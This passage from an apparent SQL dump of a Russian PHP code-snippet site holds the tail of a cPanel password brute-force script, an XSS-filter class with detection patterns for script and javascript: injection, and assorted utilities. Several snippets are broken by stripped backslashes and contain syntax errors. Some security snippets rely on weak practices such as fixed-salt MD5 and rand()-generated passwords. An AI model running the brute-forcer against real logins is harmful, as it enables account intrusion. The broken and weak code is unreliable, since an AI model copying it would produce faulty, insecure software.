&quot;.\r\n$count.&quot; PASSES\r\n&quot;;\r\nwhile ($counter &lt; $count):\r\n$current_pass = trim\r\n($passes\r\n[$counter]);\r\nif (login_cPanel\r\n($url, $user, $current_pass))\r\n{\r\necho &quot;SUCCESS: &quot;.\r\n$current_pass.&quot;\r\n&quot;;\r\nreturn true;\r\n}\r\n$counter++;\r\nendwhile;\r\nreturn false;\r\n}\r\n?&gt;','files_1436_5458_',151),(356,18,'Защита от XSS','Для работы подключите файл с кодом через инклюд:','&lt;?php\r\n/**\r\n* Cross Side Scripting protection class.\r\n* @package zpanelx\r\n* @subpackage dryden -&gt; runtime\r\n* @version 1.0.2\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @copyright ZPanel Project (http://www.zpanelcp.com/)\r\n* @link &lt;a href=&quot;http://klybok.net/go.php?go=aHR0cDovL3d3dy56cGFuZWxjcC5jb20v&quot;&gt;http://www.zpanelcp.com/&lt;/a&gt;\r\n* @license GPL (http://www.gnu.org/licenses/gpl.html)\r\n*/\r\nclass runtime_xss {\r\n/**\r\n* Fix any problems or tampering with entities\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function fixEntitys($data=\'\') {\r\n$data = str_replace(array(\'&amp;amp;amp;\', \'&amp;amp;lt;\', \'&amp;amp;gt;\', \'&amp;amp;quot;\'), array(\'&amp;amp;\', \'&amp;lt;\', \'&amp;gt;\', \'&amp;quot;\'), $data);\r\n$data = preg_replace(\'/(&amp;#*w+)[x00-x20]+;/u\', \'$1;\', $data);\r\n$data = preg_replace(\'/(&amp;#x*[0-9A-F]+);*/iu\', \'$1;\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove on and xmlns attributes\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function removeAttribute($data=\'\') {\r\n$data = preg_replace(\'#(&lt;[^&gt;]+?[x00-x20&quot;\'])(?:on|xmlns)[^&gt;]*+&gt;#iu\', \'$1&gt;\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove javasсript and VB tags\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function removeJavaVB($data=\'\') {\r\n$data = preg_replace(\'#([a-z]*)[x00-x20]*=[x00-x20]*([`\'&quot;]*)[x00-x20]*j[x00-x20]*a[x00-x20]*v[x00-x20]*a[x00-x20]*s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:#iu\', \'$1=$2nojavasсript...\', $data);\r\n$data = preg_replace(\'#([a-z]*)[x00-x20]*=([\'&quot;]*)[x00-x20]*v[x00-x20]*b[x00-x20]*s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:#iu\', \'$1=$2novbsсript...\', $data);\r\n$data = preg_replace(\'#([a-z]*)[x00-x20]*=([\'&quot;]*)[x00-x20]*-moz-binding[x00-x20]*:#u\', \'$1=$2nomozbinding...\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove a common css attack\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function removeCssAttack($data=\'\') {\r\n$data = preg_replace(\'#(&lt;[^&gt;]+?)style[x00-x20]*=[x00-x20]*[`\'&quot;]*.*?expression[x00-x20]*([^&gt;]*+&gt;#i\', \'$1&gt;\', $data);\r\n$data = preg_replace(\'#(&lt;[^&gt;]+?)style[x00-x20]*=[x00-x20]*[`\'&quot;]*.*?behaviour[x00-x20]*([^&gt;]*+&gt;#i\', \'$1&gt;\', $data);\r\n$data = preg_replace(\'#(&lt;[^&gt;]+?)style[x00-x20]*=[x00-x20]*[`\'&quot;]*.*?s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:*[^&gt;]*+&gt;#iu\', \'$1&gt;\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove namespaces from strong\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function removeNameSpace($data=\'\') {\r\n$data = preg_replace(\'#&lt;/*w+:w[^&gt;]*+&gt;#i\', \'\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove tags that can cause a security issue\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function removeHarmfullStrings($data=\'\') {\r\n$data = preg_replace(\'#&lt;/*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^&gt;]*+&gt;#i\', \'\', $data, -1);\r\nreturn $data;\r\n}\r\n/**\r\n* Use htmlentities this will by default protect against 99% of attacks\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @param string $ENT specify how to handle quotes\r\n* @param string $type Type of encoding to use\r\n* @return string The Clean String.\r\n*/\r\nstatic public function htmlentitiesProtection($data=\'\', $ENT = ENT_QUOTES, $type = \'UTF-8\') {\r\n$data = htmlentities($data, $ENT, $type);\r\nreturn $data;\r\n}\r\n\r\n/**\r\n* Use htmlspecialchars this will by default protect against 99% of attacks\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that needs cleaning\r\n* @param string $ENT specify how to handle quotes\r\n* @param string $type Type of encoding to use\r\n* @return string The Clean String.\r\n*/\r\nstatic public function htmlspecialcharsProtection($data=\'\', $ENT = ENT_QUOTES, $type = \'UTF-8\') {\r\n$data = htmlspecialchars($data, $ENT, $type);\r\nreturn $data;\r\n}\r\n/**\r\n* Run though selected cleaners\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param Array $settings What cleans you want to run through. True And False.\r\n* @param string $data the data that needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public function xssClean($data=\'\', $settings=array(true, true, true, true, true, true, true)) {\r\nif ($settings[1]) {\r\n$data = self::removeAttribute($data);\r\n}\r\nif ($settings[2]) {\r\n$data = self::removeJavaVB($data);\r\n}\r\nif ($settings[3]) {\r\n$data = self::removeCssAttack($data);\r\n}\r\nif ($settings[4]) {\r\n$data = self::removeNameSpace($data);\r\n}\r\nif ($settings[5]) {\r\n$data = self::removeHarmfullStrings($data);\r\n}\r\nif ($settings[6]) {\r\n$data = self::htmlentitiesProtection($data, ENT_QUOTES, \'UTF-8\');\r\n}\r\n\r\n//Below is enforced protection\r\n$data = self::htmlspecialcharsProtection($data);\r\n\r\nif ($settings[0]) {\r\n$data = self::fixEntitys($data);\r\n}\r\n\r\n// Xss Clean Data\r\nreturn $data;\r\n}\r\n}\r\n?&gt;','files_4371_5542_',151),(357,18,'Функция отфильтровки спецсимволов текста','Пример использования:\r\n$login = textguard($_POST[\'login\']);','function textguard($var){\r\n$var = trim($var);\r\n$var = htmlspecialchars($var);\r\n$var = mysql_real_escape_string($var);\r\nreturn $var;\r\n}','files_1861_5035_',151),(358,18,'Фильтрация числовых значений','Довольно простая ф-ция. Думаю новичкам будет полезно. Пример использования:\r\n$id = num($_GET[\'id\']);','function num($var){\r\nreturn abs(intval($var));\r\n}','files_4990_2439_',151),(360,9,'Вывести на экран изображение пользователя Gravatar','Вывести на экран изображение пользователя Gravatar','$gravatar = \'http://www.gravatar.com/avatar/\' . md5($email_address) . \'?s=32\';\r\necho \'&lt;img src=&quot;\' . $gravatar . \'&quot; width=&quot;32&quot; height=&quot;32&quot;/&gt;\';','files_5411_5354_',1006),(361,9,'Преобразование значения HEX в RBG','Преобразование значения HEX в RBG','function hextorgb($hexvalue){\r\nif($hexvalue[0] == \'#\') {\r\n$hexvalue = substr( $hexvalue, 1);\r\n}\r\nif(strlen( $hexvalue ) == 6){\r\nlist($r, $g, $b) = array($hexvalue[0] . $hexvalue[1], $hexvalue[2] . $hexvalue[3], $hexvalue[4] . $hexvalue[5]);\r\n}elseif (strlen($hexvalue) == 3) {\r\nlist($r,$g,$b) = array($hexvalue[0] . $hexvalue[0], $hexvalue[1] . $hexvalue[1], $hexvalue[2] . $hexvalue[2]);\r\n}else{\r\nreturn false;\r\n}\r\n$r = hexdec($r);\r\n$g = hexdec($g);\r\n$b = hexdec($b);\r\nreturn array(\'R\' =&gt; $r, \'G\' =&gt; $g, \'B\' =&gt; $b);\r\n}\r\n// Параметром для функции будет номер цвета\r\n$rgb = hextorgb(\'#fff000\');\r\nprint_r($rgb);','files_3097_1365_',1006),(362,9,'Создание временного URL из строки','Создание временного URL из строки','function create_slug($string){\r\n$string = strtolower($string);\r\n$slug=preg_replace(\'/[^a-z0-9-]+/\', \'-\', $string);\r\nreturn $slug;\r\n}\r\necho create_slug(\'Create Simple Slug URL\');','files_3629_4304_',1006),(363,9,'Whois запрос при помощи PHP','Whois запрос при помощи PHP','function whois_query($domain) {\r\n\r\n// исправляем доменное имя:\r\n$domain = strtolower(trim($domain));\r\n$domain = preg_replace(\'/^http:///i\', \'\', $domain);\r\n$domain = preg_replace(\'/^www./i\', \'\', $domain);\r\n$domain = explode(\'/\', $domain);\r\n$domain = trim($domain[0]);\r\n\r\n$_domain = explode(\'.\', $domain);\r\n$lst = count($_domain)-1;\r\n$ext = $_domain[$lst];\r\n\r\n$servers = array(\r\n&quot;biz&quot; =&gt; &quot;whois.neulevel.biz&quot;,\r\n&quot;com&quot; =&gt; &quot;whois.internic.net&quot;,\r\n&quot;us&quot; =&gt; &quot;whois.nic.us&quot;,\r\n&quot;coop&quot; =&gt; &quot;whois.nic.coop&quot;,\r\n&quot;info&quot; =&gt; &quot;whois.nic.info&quot;,\r\n&quot;name&quot; =&gt; &quot;whois.nic.name&quot;,\r\n&quot;net&quot; =&gt; &quot;whois.internic.net&quot;,\r\n&quot;gov&quot; =&gt; &quot;whois.nic.gov&quot;,\r\n&quot;edu&quot; =&gt; &quot;whois.internic.net&quot;,\r\n&quot;mil&quot; =&gt; &quot;rs.internic.net&quot;,\r\n&quot;int&quot; =&gt; &quot;whois.iana.org&quot;,\r\n&quot;ac&quot; =&gt; &quot;whois.nic.ac&quot;,\r\n&quot;ae&quot; =&gt; &quot;whois.uaenic.ae&quot;,\r\n&quot;at&quot; =&gt; &quot;whois.ripe.net&quot;,\r\n&quot;au&quot; =&gt; &quot;whois.aunic.net&quot;,\r\n&quot;be&quot; =&gt; &quot;whois.dns.be&quot;,\r\n&quot;bg&quot; =&gt; &quot;whois.ripe.net&quot;,\r\n&quot;br&quot; =&gt; &quot;whois.registro.br&quot;,\r\n&quot;bz&quot; =&gt; &quot;whois.belizenic.bz&quot;,\r\n&quot;ca&quot; =&gt; &quot;whois.cira.ca&quot;,\r\n&quot;cc&quot; =&gt; &quot;whois.nic.cc&quot;,\r\n&quot;ch&quot; =&gt; &quot;whois.nic.ch&quot;,\r\n&quot;cl&quot; =&gt; &quot;whois.nic.cl&quot;,\r\n&quot;cn&quot; =&gt; &quot;whois.cnnic.net.cn&quot;,\r\n&quot;cz&quot; =&gt; &quot;whois.nic.cz&quot;,\r\n&quot;de&quot; =&gt; &quot;whois.nic.de&quot;,\r\n&quot;fr&quot; =&gt; &quot;whois.nic.fr&quot;,\r\n&quot;hu&quot; =&gt; &quot;whois.nic.hu&quot;,\r\n&quot;ie&quot; =&gt; &quot;whois.domainregistry.ie&quot;,\r\n&quot;il&quot; =&gt; &quot;whois.isoc.org.il&quot;,\r\n&quot;in&quot; =&gt; &quot;whois.ncst.ernet.in&quot;,\r\n&quot;ir&quot; =&gt; &quot;whois.nic.ir&quot;,\r\n&quot;mc&quot; =&gt; &quot;whois.ripe.net&quot;,\r\n&quot;to&quot; =&gt; &quot;whois.tonic.to&quot;,\r\n&quot;tv&quot; =&gt; &quot;whois.tv&quot;,\r\n&quot;ru&quot; =&gt; &quot;whois.ripn.net&quot;,\r\n&quot;org&quot; =&gt; &quot;whois.pir.org&quot;,\r\n&quot;aero&quot; =&gt; &quot;whois.information.aero&quot;,\r\n&quot;nl&quot; =&gt; &quot;whois.domain-registry.nl&quot;\r\n);\r\n\r\nif (!isset($servers[$ext])){\r\ndie(\'Error: No matching nic server found!\');\r\n}\r\n\r\n$nic_server = $servers[$ext];\r\n\r\n$output = \'\';\r\n\r\nif ($conn = fsockopen ($nic_server, 43)) {\r\nfputs($conn, $domain.&quot;rn&quot;);\r\nwhile(!feof($conn)) {\r\n$output .= fgets($conn,128);\r\n}\r\nfclose($conn);\r\n}\r\nelse { die(\'Error: Could not connect to \' . $nic_server . \'!\'); }\r\n\r\nreturn $output;\r\n}','files_4011_3607_',1006),(364,9,'Сжатие данных с использованием gzcompress()','Сжатие данных с использованием gzcompress()','$string =\r\n&quot;Lorem ipsum dolor sit amet, consectetur\r\nadipiscing elit. Nunc ut elit id mi ultricies\r\nadipiscing. Nulla facilisi. Praesent pulvinar,\r\nsapien vel feugiat vestibulum, nulla dui pretium orci,\r\nnon ultricies elit lacus quis ante. Lorem ipsum dolor\r\nsit amet, consectetur adipiscing elit. Aliquam\r\npretium ullamcorper urna quis iaculis. Etiam ac massa\r\nsed turpis tempor luctus. Curabitur sed nibh eu elit\r\nmollis congue. Praesent ipsum diam, consectetur vitae\r\nornare a, aliquam a nunc. In id magna pellentesque\r\ntellus posuere adipiscing. Sed non mi metus, at lacinia\r\naugue. Sed magna nisi, ornare in mollis in, mollis\r\nsed nunc. Etiam at justo in leo congue mollis.\r\nNullam in neque eget metus hendrerit scelerisque\r\neu non enim. Ut malesuada lacus eu nulla bibendum\r\nid euismod urna sodales. &quot;;\r\n// упаковываем\r\n$compressed = gzcompress($string);\r\n\r\necho &quot;Original size: &quot;. strlen($string).&quot;n&quot;;\r\necho &quot;Compressed size: &quot;. strlen($compressed).&quot;n&quot;;\r\n// Распоковка\r\n$original = gzuncompress($compressed);','files_1537_1684_',1006),(365,9,'Получить информацию о используемой памяти','Получить информацию о используемой памяти','echo &quot;Initial: &quot;.memory_get_usage().&quot; bytes n&quot;;\r\n/* All script */\r\necho &quot;Final: &quot;.memory_get_usage().&quot; bytes n&quot;;\r\necho &quot;Peak: &quot;.memory_get_peak_usage().&quot; bytes n&quot;;','files_3377_3292_',1006),(372,9,'Антифлуд (хороший)','Антифлуд (хороший)','session_start();\r\n\r\nif ( !$_SESSION[\'key\'] )\r\n{\r\n\r\n$alphabet = \'abcdefghiklmnopqastuvwxyz\';\r\n\r\nfor ( $i = 0; $i &lt; 10; $i++ )\r\n{\r\n\r\nif ( rand( 0, 1 ) == 0 )\r\n{\r\n\r\n$_SESSION[\'key\'] .= rand( 1, 9 );\r\n\r\n}\r\nelse\r\n{\r\n\r\nif ( rand( 0, 1 ) == 0 )\r\n{\r\n\r\n$_SESSION[\'key\'] .= strtolower( $alphabet[rand( 0, 24; )] );\r\n\r\n}\r\nelse\r\n{\r\n\r\n$_SESSION[\'key\'] .= strtoupper( $alphabet[rand( 0, 24; )] );\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\nif ( $_POST[\'text\'] &amp;&amp; $_POST[\'key\'] )\r\n{\r\n\r\nif ( !$_POST[\'key\'] OR $_POST[\'key\'] != $_SESSION[\'key\'] ) $errors[] = \'Ошибка сессии!\';\r\nif ( !$_POST[\'text\'] ) $errors[] = \'Ошибка, введите текст сообщения!\';\r\n\r\nif ( $errors )\r\n{\r\n\r\nforeach ( $errors as $error )\r\n{\r\n\r\n\r\necho $error . \'&lt;br/&gt;\';\r\n\r\n}\r\n\r\n}\r\nelse\r\n{\r\n\r\n\r\n\r\n}\r\n\r\n}\r\nelse\r\n{\r\n\r\necho \'&lt;form action=\'?\' . session_name() . \'=\' . session_id() . \'\' method=\'post\'&gt;\r\nСообщение:\r\n&lt;br/&gt;\r\n&lt;input type=\'text\' name=\'text\'/&gt;\r\n&lt;br/&gt;\r\n&lt;input type=\'hidden\' name=\'key\' value=\'\' . $_SESSION[\'key\'] . \'\'/&gt;\r\n&lt;br/&gt;\r\n&lt;input type=\'submit\' value=\'Отправить\'/&gt;\r\n&lt;/form&gt;\';\r\n\r\n}','files_1770_1806_',1006),(371,9,'Отправка SMS с использованием PHP TextMagic API','Отправка SMS с использованием PHP TextMagic API','// Подключаем библиотеку TextMagic\r\nrequire(\'textmagic-sms-api-php/TextMagicAPI.php\');\r\n\r\n// Устанавливаем свой логин и пароль в системе\r\n$username = \'myusername\';\r\n$password = \'mypassword\';\r\n$router = new TextMagicAPI(array(\r\n\'username\' =&gt; $username,\r\n\'password\' =&gt; $password\r\n));\r\n\r\n// Отправляем SMS на номер \'999-123-4567\'\r\n$result = $router-&gt;send(\'Wake up!\', array(9991234567), true);\r\n\r\n// result: Result is: Array ( [messages] =&gt; Array ( [19896128] =&gt; 9991234567 ) [sent_text] =&gt; Wake up! [parts_count] =&gt; 1 )','files_1524_3497_',1006),(369,9,'Зашифровано ли соединение (https)?','Зашифровано ли соединение (https)?','if ($_SERVER[\'HTTPS\'] != &quot;on&quot; ) {\r\necho &quot;This is not HTTPS&quot;;\r\n}else{\r\necho &quot;This is HTTPS&quot;;\r\n}','files_5123_5260_',1006),(370,9,'Автоматическое создание пароля','Автоматическое создание пароля','// Устанавливаем параметры и генерируем пароль\r\n// $length - длина пароля, $strength - сила пароля\r\nfunction generatePassword($length=9, $strength=8 ) {\r\n$vowels = \'aeuy\';\r\n$consonants = \'bdghjmnpqrstvz\';\r\nif ($strength &gt;= 1) {\r\n$consonants .= \'BDGHJLMNPQRSTVWXZ\';\r\n}\r\nif ($strength &gt;= 2) {\r\n$vowels .= &quot;AEUY&quot;;\r\n}\r\nif ($strength &gt;= 4) {\r\n$consonants .= \'23456789\';\r\n}\r\nif ($strength &gt;= 8 ) {\r\n$vowels .= \'@#$%\';\r\n}\r\n// Генерируем пароль\r\n$password = \'\';\r\n$alt = time() % 2;\r\nfor ($i = 0; $i &lt; $length; $i++) {\r\nif ($alt == 1) {\r\n$password .= $consonants[(rand() % strlen($consonants))];\r\n$alt = 0;\r\n} else {\r\n$password .= $vowels[(rand() % strlen($vowels))];\r\n$alt = 1;\r\n}\r\n}\r\nreturn $password;\r\n}\r\necho generatePassword();','files_4371_5109_',1006),(375,9,'Смена цвета первой буквы слова','Смена цвета первой буквы слова','function FirstLetter($var, $col)\r\n{\r\n$word = $var;\r\n$first = mb_substr($word, 0, 1, \'UTF-8\');\r\nreturn str_replace($first, \'&lt;span style=&quot;color:#\' . $col . \';&quot;&gt;\' . $first . \'&lt;/span&gt;\', $word);\r\n}\r\n\r\necho FirstLetter(\'Word\', \'FF3030\');\r\n\r\n// FirstLetter(\'какое нить слово\', \'код цвета без #\')','files_3588_5568_',1006),(376,9,'Авторизация ДругВокруг','Авторизация ДругВокруг','var\r\nStrPage,ssylka:String;\r\nlog:TstringList;\r\nbegin\r\nIdHttp1.HandleRedirects:=true;\r\nIdHttp1.RedirectMaximum:=1;\r\n\r\nssylka := \'http://app.drugvokrug.ru/j_spring_security_check\';\r\nlog := TstringList.Create;\r\nlog.Add(\'j_username=\'+Edit1.Text);\r\nlog.Add(\'j_password=\'+Edit2.Text);\r\nStrPage := idhttp1.Post(ssylka,log);\r\nStrPage:=IdHTTP1.Get(\'http://app.drugvokrug.ru/picture.htm\');\r\nif pos (\'logout\',StrPage) &lt;&gt; 0 then\r\nbegin\r\nShowMessage(\'Успешная авторизация\');\r\nShowMessage(StrPage)\r\nend\r\n\r\nelse\r\nbegin\r\nShowMessage(\'нихуя :(\');\r\nend;','files_4664_1529_',1006),(377,9,'Дробь числа','Дробь числа','function chislo($chislo)\r\n{\r\n$chislo = abs(intval(trim($chislo))); //удаляем пробелы с числа,делаем его целочисиленным\r\n$c = mb_strlen($chislo); //считаем его длинну\r\nif($c == 4) //если длинна строки 4\r\n{ //то\r\n$chislo = str_replace(\'0\',\'\',$chislo); //вырезаем нолики\r\n$ok = str_replace($chislo[0],$chislo[0].\'.\',$chislo); //ставим точку после первой цыфры\r\n$ex = explode(\'.\',$ok); //делаем разделитель\r\n$ok = $ex[0].\'.\'.$chislo[1].$chislo[2]; //выводим\r\n}\r\nelseif($c == 5) //если длинна строки 5\r\n{\r\n$chislo = str_replace(\'0\',\'\',$chislo);\r\n$ok = str_replace($chislo[1],$chislo[1].\'.\',$chislo);\r\n$ex = explode(\'.\',$ok);\r\n$ok = $ex[0].\'.\'.$chislo[2]; //выводим\r\n}\r\nreturn $ok; //возвращаем результат\r\n}\r\n\r\necho chislo(\'12455\'); //использование','files_4001_1418_',1006),(374,9,'Класс навигации','Класс навигации','&lt;?php\r\nclass page\r\n{\r\npublic $num;\r\npublic $page;\r\npublic $posts;\r\npublic $post;\r\npublic $total;\r\n\r\npublic static function pg_num ($nm, $tb)\r\n{\r\nglobal $mysqli;\r\n$num = $nm;\r\n$page = $GLOBALS[\'_GET\'][\'page\'];\r\n$post = $mysqli-&gt;query(&quot;SELECT COUNT(*) FROM $tb&quot; )-&gt;fetch_row();\r\n$posts=$post[\'0\'];\r\n$total = intval(($posts - 1) / $num) + 1;\r\n$page = intval($page);\r\nif(empty($page) or $page &lt; 0) $page = 1;\r\nif($page &gt; $total) $page = $total;\r\n$start = $page * $num - $num;\r\n\r\nreturn array(&quot;num&quot; =&gt; $num, &quot;page&quot; =&gt; $page, &quot;total&quot; =&gt; $total, &quot;start&quot; =&gt; $start);\r\n}\r\n/* End function pg_num */\r\npublic static function pg_str($url, $page, $total)\r\n{\r\n\r\nif ($page != 1){$pervpage = \'&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=1&gt; В Начало &lt;/a&gt;&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\'. ($page - 1) .\'&gt; Назад &lt;/a&gt;\';}\r\nif ($page != $total){$nextpage = \'&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\'. ($page + 1) .\'&gt; Вперёд &lt;/a&gt;&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\' .$total. \'&gt; В Конец &lt;/a&gt;\';}\r\n\r\nif($page - 2 &gt; 0) $page2left = \' &lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\'. ($page - 2) .\'&gt;\'. ($page - 2) .\'&lt;/a&gt;\';\r\nif($page - 1 &gt; 0) $page1left = \'&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\'. ($page - 1) .\'&gt;\'. ($page - 1) .\'&lt;/a&gt;\';\r\nif($page + 2 &lt;= $total) $page2right = \'&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\'. ($page + 2) .\'&gt;\'. ($page + 2) .\'&lt;/a&gt;\';\r\nif($page + 1 &lt;= $total) $page1right = \'&lt;a class=&quot;page_a&quot; href=\'.$url.\'page=\'. ($page + 1) .\'&gt;\'. ($page + 1) .\'&lt;/a&gt;\';\r\necho \'&lt;div class=&quot;menu&quot;&gt;\'.$pervpage.$page2left.$page1left.\'&lt;span class=&quot;page_b&quot;&gt;\'.$page.\'&lt;/span&gt;\'.$page1right.$page2right.$nextpage.\'&lt;/div&gt;\';\r\n}\r\n/* End function pg_num */\r\n}\r\n/* end class page */\r\n?&gt;','files_2309_2939_',1006),(378,9,'Склонение имен','Склонение имен','function name($name)\r\n{\r\nmb_internal_encoding(\'UTF-8\'); //ставим кодировку\r\n$name = mb_strtolower(trim($name)); //строка (имя)\r\n$c = mb_strlen($name); //считаем к-во букв\r\n$c2 = ($c-2); //отнимаем 2 для старта отсчета\r\n$r = mb_substr($name,$c2,$c); //вырезаем 2 последних буквы для шаблона\r\n//далее делаем замены\r\n$name = (mb_stristr($r,\'ий\')) ? str_replace($r,\'ия\',$name) : $name;\r\n$name = (mb_stristr($r,\'ей\')) ? str_replace($r,\'ея\',$name) : $name;\r\n$name = (mb_stristr($r,\'др\')) ? str_replace($r,\'дра\',$name) : $name;\r\n$name = (mb_stristr($r,\'ша\')) ? str_replace($r,\'ши\',$name) : $name;\r\n$name = (mb_stristr($r,\'ия\')) ? str_replace($r,\'ии\',$name) : $name;\r\n$name = (mb_stristr($r,\'на\')) ? str_replace($r,\'ны\',$name) : $name;\r\n$name = (mb_stristr($r,\'ка\')) ? str_replace($r,\'ки\',$name) : $name;\r\n$name = (mb_stristr($r,\'ня\')) ? str_replace($r,\'ни\',$name) : $name;\r\n$name = (mb_stristr($r,\'ан\')) ? str_replace($r,\'ана\',$name) : $name;\r\n$name = (mb_stristr($r,\'ля\')) ? str_replace($r,\'ли\',$name) : $name;\r\n$name = (mb_stristr($r,\'ся\')) ? str_replace($r,\'си\',$name) : $name;\r\n$name = (mb_stristr($r,\'са\')) ? str_replace($r,\'сы\',$name) : $name;\r\n$name = (mb_stristr($r,\'та\')) ? str_replace($r,\'ты\',$name) : $name;\r\n$name = (mb_stristr($r,\'ик\')) ? str_replace($r,\'ика\',$name) : $name;\r\n$name = (mb_stristr($r,\'ор\')) ? str_replace($r,\'ора\',$name) : $name;\r\n$name = (mb_stristr($r,\'ин\')) ? str_replace($r,\'ина\',$name) : $name;\r\n$name = (mb_stristr($r,\'ль\')) ? str_replace($r,\'ля\',$name) : $name;\r\n$name = (mb_stristr($r,\'ля\')) ? str_replace($r,\'ли\',$name) : $name;\r\n$name = (mb_stristr($r,\'за\')) ? str_replace($r,\'зы\',$name) : $name;\r\n$name = (mb_stristr($r,\'он\')) ? str_replace($r,\'она\',$name) : $name;\r\n$name = (mb_stristr($r,\'ир\')) ? str_replace($r,\'ира\',$name) : $name;\r\n$name = (mb_stristr($r,\'ра\')) ? str_replace($r,\'ры\',$name) : $name;\r\n$name = (mb_stristr($r,\'га\')) ? str_replace($r,\'ги\',$name) : $name;\r\n$name = (mb_stristr($r,\'ок\')) ? str_replace($r,\'ока\',$name) : $name;\r\n$name = (mb_stristr($r,\'ав\')) ? str_replace($r,\'ава\',$name) : $name;\r\n$name = (mb_stristr($r,\'ый\')) ? str_replace($r,\'ого\',$name) : $name;\r\n$name = (mb_stristr($r,\'ер\')) ? str_replace($r,\'ера\',$name) : $name;\r\n$name = (mb_stristr($r,\'им\')) ? str_replace($r,\'има\',$name) : $name;\r\n$name = (mb_stristr($r,\'кс\')) ? str_replace($r,\'кса\',$name) : $name;\r\n$name = (mb_stristr($r,\'от\')) ? str_replace($r,\'ота\',$name) : $name;\r\n$name = (mb_stristr($r,\'ма\')) ? str_replace($r,\'мы\',$name) : $name;\r\n$name = (mb_stristr($r,\'ев\')) ? str_replace($r,\'ева\',$name) : $name;\r\n$name = (mb_stristr($r,\'ил\')) ? str_replace($r,\'ила\',$name) : $name;\r\n$name = mb_strtoupper(mb_substr($name,0,1)) . mb_substr($name,1); //делаем первую букву в Верхнем регистре\r\nreturn $name; //возвращаем результат\r\n}\r\n\r\necho name(\'Михаил\'); //пример использования','files_3007_3163_',1006),(379,9,'Функция определения расширения файла','Функция определения расширения файла','function r ( $r ,$t = null )\r\n{\r\n$f = explode( \'.\' , $r );\r\nreturn strtolower( $f [count ( $f )- 1 - $t ]);\r\n}','files_2266_4216_',1006),(380,9,'Функция фильтровки цифр','Функция фильтровки цифр2','function ValidInt ( $value )\r\n{\r\n$int = abs( intval ($value ));\r\nreturn $int ;\r\n}','files_4274_4035_',1006),(381,9,'Функция удаления файлов из директории через определенное время их хранения','Функция удаления файлов из директории через определенное время их хранения','function old ($papka , $times ){\r\n$old_time = time ()- 60 *$times ;\r\n$dir = opendir ( $papka );\r\nwhile ( $file = readdir ( $dir )) {\r\nif (( $file != &quot;.&quot; ) &amp;&amp; ( $file != &quot;..&quot; ))\r\n$files []=&quot; $papka /$file &quot; ;\r\n$time []= filemtime( &quot; $papka / $file &quot; );\r\n}\r\nclosedir ( $dir );\r\n$count_files = count ( $files );\r\nfor( $i = 1; $i &lt; $count_files ; $i ++){\r\nif( $time [ $i ] &lt;= $old_time ){\r\n@unlink ( $files [ $i ]);\r\n}\r\n}\r\n}','files_1263_4982_',1006),(382,9,'Получаем список файлов в папках и в подпапках','Получаем список файлов в папках и в подпапках','function DirFilesR ( $dir )\r\n{\r\n$handle = opendir ($dir ) or die( &quot;Can\'t open directory $dir &quot; );\r\n$files = Array();\r\n$subfiles = Array();\r\nwhile ( false !== ( $file = readdir( $handle )))\r\n{\r\nif ( $file != &quot;.&quot; &amp;&amp; $file != &quot;..&quot; )\r\n{\r\nif( is_dir ( $dir .&quot;/&quot; . $file ))\r\n{\r\n// Получим список файлов\r\n// вложенной папки...\r\n$subfiles = DirFilesR( $dir . &quot;/&quot; . $file );\r\n// ...и добавим их к общему списку\r\n$files = array_merge ( $files , $subfiles );\r\n}\r\nelse\r\n{\r\n$files [] = $dir . &quot;/&quot; . $file ;\r\n}\r\n}\r\n}\r\nclosedir ( $handle );\r\nreturn $files ;\r\n}','files_2325_2776_',1006),(383,9,'Функция шифровки пароля в md5 с солью','Функция шифровки пароля в md5 с солью','$salt = &quot;123!#&amp;%asgfHTA&quot; ;\r\n$pass = &quot;proba&quot; ;\r\nfunction my_crypt ( $pass , $salt )\r\n{\r\n$spec =array( \'~\', \'!\', \'@\', \'#\' , \'$\' , \'%\' , \'^\', \'&amp;\', \'*\', \'?\');\r\n$crypted = md5 ( md5 ( $salt ). md5 ( $pass ));\r\n$c_text = md5 ( $pass );\r\nfor ( $i = 0; $i &lt; strlen( $crypted );$i ++)\r\n{\r\nif ( ord( $c_text [ $i ])&gt;= 48 and ord( $c_text [ $i ])&lt;= 57 ){\r\n&amp; #64;$temp.=$spec[$c_text[$i]];\r\n} elseif( ord( $c_text [$i 